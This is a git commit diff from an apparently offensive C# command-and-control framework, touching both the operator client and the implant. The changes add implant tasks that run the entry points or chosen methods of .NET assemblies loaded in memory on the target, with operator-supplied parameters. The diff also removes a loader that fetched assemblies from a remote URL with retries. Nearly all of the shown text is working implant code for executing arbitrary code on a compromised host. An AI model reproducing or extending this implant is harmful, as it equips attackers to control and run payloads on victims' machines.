ExecuteAssemMethod works, das cool

This commit is contained in:
Gr1mmie 2022-01-09 23:07:35 -05:00
parent 4a01c852fe
commit 0620dd96e3
16 changed files with 93 additions and 107 deletions

View File

@ -7,6 +7,7 @@
public static object assemName = new AssemName();
public static object assemType = new AssemType();
public static object assemMethod = new AssemMethod();
public static object assemParams = new AssemParams();
public static object retryCount = new Retry_count();
public static object timeout = new Timeout();
public static object command = new Command();
@ -77,9 +78,16 @@
public class AssemMethod {
public string Name { get; set; } = nameof(assemMethod);
public string Value { get; set; } = "somemethod";
public string Value { get; set; } = "";
public string Desc { get; set; } = "select assembly method";
}
public class AssemParams
{
public string Name { get; set; } = nameof(assemParams);
public string Value { get; set; } = "";
public string Desc { get; set; } = "parameters to pass to loaded assembly";
}
}
}

View File

@ -28,12 +28,12 @@ namespace Client.Utils
foreach (var opt in optList){
if (opt.GetPropertyValue("Name").ToString().Equals(OptName, System.StringComparison.InvariantCultureIgnoreCase)) {
opt.SetPropertyValue("Value", OptValue);
break;
return $"[*] {OptName} set to {OptValue}\n";
}
else { throw new AtlasException($"[-] Option {OptName} does not exist in the current context\n"); }
}
return $"[*] {OptName} set to {OptValue}\n";
throw new AtlasException($"[-] Option {OptName} does not exist in the current context\n");
} catch (AtlasException e ) { return $"{e.Message}"; }
}
}

View File

@ -7,7 +7,7 @@ namespace Client.Utils
class ExecuteAssem : Models.Task
{
public override string TaskName => "ExecuteAssem";
public override string Desc => "Execute a specifed assem type";
public override List<object> OptList { get; } = new List<object> { assemType };
public override string Desc => "Execute a specifed assem type from its entry point";
public override List<object> OptList { get; } = new List<object> { assemName, assemParams };
}
}

View File

@ -9,6 +9,6 @@ namespace Client.Utils
{
public override string TaskName => "ExecuteAssemMethod";
public override string Desc => "Executes specified method belonging to a loaded assem type";
public override List<Object> OptList { get; } = new List<object> { assemType, assemMethod };
public override List<Object> OptList { get; } = new List<object> { assemName, assemType, assemMethod, assemParams };
}
}

View File

@ -85,7 +85,6 @@
<Compile Include="Tasks\Execute\PSShell.cs" />
<Compile Include="Tasks\Options\AssemMethodQuery.cs" />
<Compile Include="Tasks\Options\AssemQuery.cs" />
<Compile Include="Tasks\Options\Cd.cs" />
<Compile Include="Tasks\Options\CMDShell.cs" />
<Compile Include="Tasks\Options\ExecuteAssem.cs" />
<Compile Include="Tasks\Options\ExecuteAssemMethod.cs" />

View File

@ -1,8 +1,5 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Implant.JSON
{

View File

@ -4,8 +4,10 @@
{
public static object command = new Command();
public static object path = new Path();
public static object assemName = new AssemName();
public static object assemPath = new AssemPath();
public static object assemType = new AssemType();
public static object assemParams = new AssemParams();
public static object assemMethod = new AssemMethod();
public class Command
@ -26,6 +28,12 @@
public string Value { get; set; } = "";
}
public class AssemName
{
public string Name { get; set; } = "assemName";
public string Value { get; set; } = "";
}
public class AssemType
{
public string Name { get; set; } = "assemType";
@ -38,5 +46,11 @@
public string Value { get; set; } = "";
}
public class AssemParams
{
public string Name { get; set; } = "assemParams";
public string Value { get; set; } = "";
}
}
}

View File

@ -7,6 +7,7 @@ namespace Implant.Tasks.Execute
class AssemMethodQuery : ImplantCommands
{
private string assemName { get; set; }
private string Args { get; set; }
public override string Name => "AssemMethodQuery";
@ -15,7 +16,8 @@ namespace Implant.Tasks.Execute
StringBuilder _out = new StringBuilder();
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
foreach (var opt in opts)
{

View File

@ -5,26 +5,33 @@ namespace Implant.Tasks.Execute
{
class ExecuteAssem : ImplantCommands
{
private string assemType { get; set; }
private string assemName { get; set; }
private string assemParams { get; set; }
private string Args { get; set; }
public override string Name => "ExecuteAssem";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "assemtype")
if ((_params.OptionName.ToLower() is "assemname")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemType = _params.OptionValue;
assemName = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemparams")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemParams = _params.OptionValue;
}
}
}
return assemType;
return LoadFunctions.ExecuteAssemEP(assemName, assemParams);
} }
}

View File

@ -5,32 +5,46 @@ namespace Implant.Tasks.Execute
{
class ExecuteAssemMethod : ImplantCommands
{
private string assemName { get; set; }
private string assemType { get; set; }
private string assemMethod { get; set; }
private string assemParams { get; set; }
private string Args { get; set; }
public override string Name => "ExecuteAssemMethod";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "assemname")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemName = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemtype")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemType = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemmethod")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemMethod = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemparams")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemParams = _params.OptionValue;
}
}
}
return assemType;
return LoadFunctions.ExecuteAssemMethod(assemName, assemType, assemMethod, assemParams);
}
}
}

View File

@ -16,16 +16,33 @@ namespace Implant.Tasks.Execute
// would be cool if these could be called from a yaml or something
// load assems into running process for expansion of implant capability
// create task to list loaded assems(see utils ) and their methods for operator viewing and allow operator to pass assem + method into
// load assems into running process for expansion of implant capability (done)
// create task to list loaded assems(see utils) and their methods for operator viewing (done) and allow operator to pass assem + method into
// task to execute given method from assem
public static string ExecuteAssemMethod(Assembly assem, string assemType, string assemMethod){
var _out = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, null);
return _out.ToString();
private static Assembly GetAssemblyByName(string assemName){
return AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(assem => assem.GetName().Name == assemName);
}
public static string ExecuteAssemEP(string assemName, string parameters){
Assembly assem = GetAssemblyByName(assemName);
var assemOut = assem.EntryPoint.Invoke(null, new object[] { new string[] { parameters } });
return assemOut.ToString();
}
public static string ExecuteAssemMethod(string assemName, string assemType, string assemMethod, string parameters){
Assembly assem = GetAssemblyByName(assemName);
var assemOut = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, new object[] { parameters });
return assemOut.ToString();
}
public static string ExecuteAssemMethod(string assemName, string assemType, string assemMethod, string[] parameters)
{
Assembly assem = GetAssemblyByName(assemName);
var assemOut = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, new object[] { parameters });
return assemOut.ToString();
}
public static Assembly LoadAssem(string assemPath) {
var assem = Assembly.LoadFrom(assemPath);
return assem;
@ -36,70 +53,12 @@ namespace Implant.Tasks.Execute
return assem;
}
public static void LoadAssemAndExecute(string assemPath)
{
var assem = LoadAssem(assemPath);
object[] paramz = new String[] { null };
assem.EntryPoint.Invoke(null, paramz);
}
// load an assem into current appdomain
public static string BaseLoaderLocal(string assemPath){
StringBuilder _out = new StringBuilder();
var assem = LoadAssem(assemPath);
_out.Append(ExecuteAssemMethod(assem, "", ""));
if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); }
return _out.ToString();
}
// attempt to load assem into mem and retry if fails
public static byte[] SmraaterLoader(string assemPath, int retry_count, int timeout)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
WebClient client = new WebClient();
byte[] assembytes = null;
int current_retry_count = retry_count;
while (current_retry_count >= 0 && assembytes == null)
{
try
{
assembytes = client.DownloadData(assemPath);
if (Debug) { WriteLine($"[+] Fetched assem located at {assemPath}"); }
}
catch (WebException)
{
if (current_retry_count == 0) { throw new ArgumentException($"[-] Failed to fetch {assemPath} after {current_retry_count} attempts. Exiting..."); }
if (Debug) { WriteLine($"[-] Fetching {assemPath} failed. Retrying in {timeout} seconds."); }
current_retry_count = current_retry_count - 1;
Thread.Sleep(timeout * 1000);
}
}
return assembytes;
/*
var assem = Assembly.Load(assembytes);
object[] paramz = new String[] { null };
assem.EntryPoint.Invoke(null, paramz);
*/
if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); }
}
// these are tasks, move them over when working on load task
public static string returnAssemMethods(string assemName)
{
StringBuilder _out = new StringBuilder();
var domain = AppDomain.CurrentDomain;
_out.AppendLine($"[*] Current AppDomain: {domain}");
_out.AppendLine($"[*] Current AppDomain: {domain.FriendlyName}");
_out.AppendLine($"[*] assemName: {assemName}");
var strLenth = _out.Length;
@ -116,7 +75,7 @@ namespace Implant.Tasks.Execute
}
}
if(_out.Length > strLenth) { _out.AppendLine($"[-] Assem object {assemName} could not be found in appdomain {domain}"); }
if(_out.Length < strLenth) { _out.AppendLine($"[-] Assem object {assemName} could not be found in appdomain {domain}"); }
return _out.ToString();
}

View File

@ -10,6 +10,6 @@ namespace Implant.Tasks.Options
{
public override string TaskName => "AssemMethodQuery";
public override List<object> Data => new List<object> { assemType, assemMethod};
public override List<object> Data => new List<object> { assemName };
}
}

View File

@ -10,6 +10,6 @@ namespace Implant.Tasks.Options
{
public override string TaskName => "AssemQuery";
public override List<object> Data => new List<object> { assemType };
public override List<object> Data => new List<object> { };
}
}

View File

@ -1,14 +0,0 @@
using System.Collections.Generic;
using Implant.Models;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class Cd : ImplantOptions
{
public override string TaskName => "Cd";
public override List<object> Data => new List<object> { path };
}
}

View File

@ -9,5 +9,5 @@ namespace Implant.Tasks.Options
class ExecuteAssem : ImplantOptions
{
public override string TaskName => "ExecuteAssem";
public override List<object> Data => new List<object> { assemType }; }
public override List<object> Data => new List<object> { assemName, assemParams }; }
}

View File

@ -8,5 +8,5 @@ namespace Implant.Tasks.Options
{
class ExecuteAssemMethod : ImplantOptions
{
public override string TaskName => "ExecuteAssemMethod"; public override List<object> Data => new List<object> { assemType, assemMethod }; }
public override string TaskName => "ExecuteAssemMethod"; public override List<object> Data => new List<object> { assemName, assemType, assemMethod, assemParams }; }
}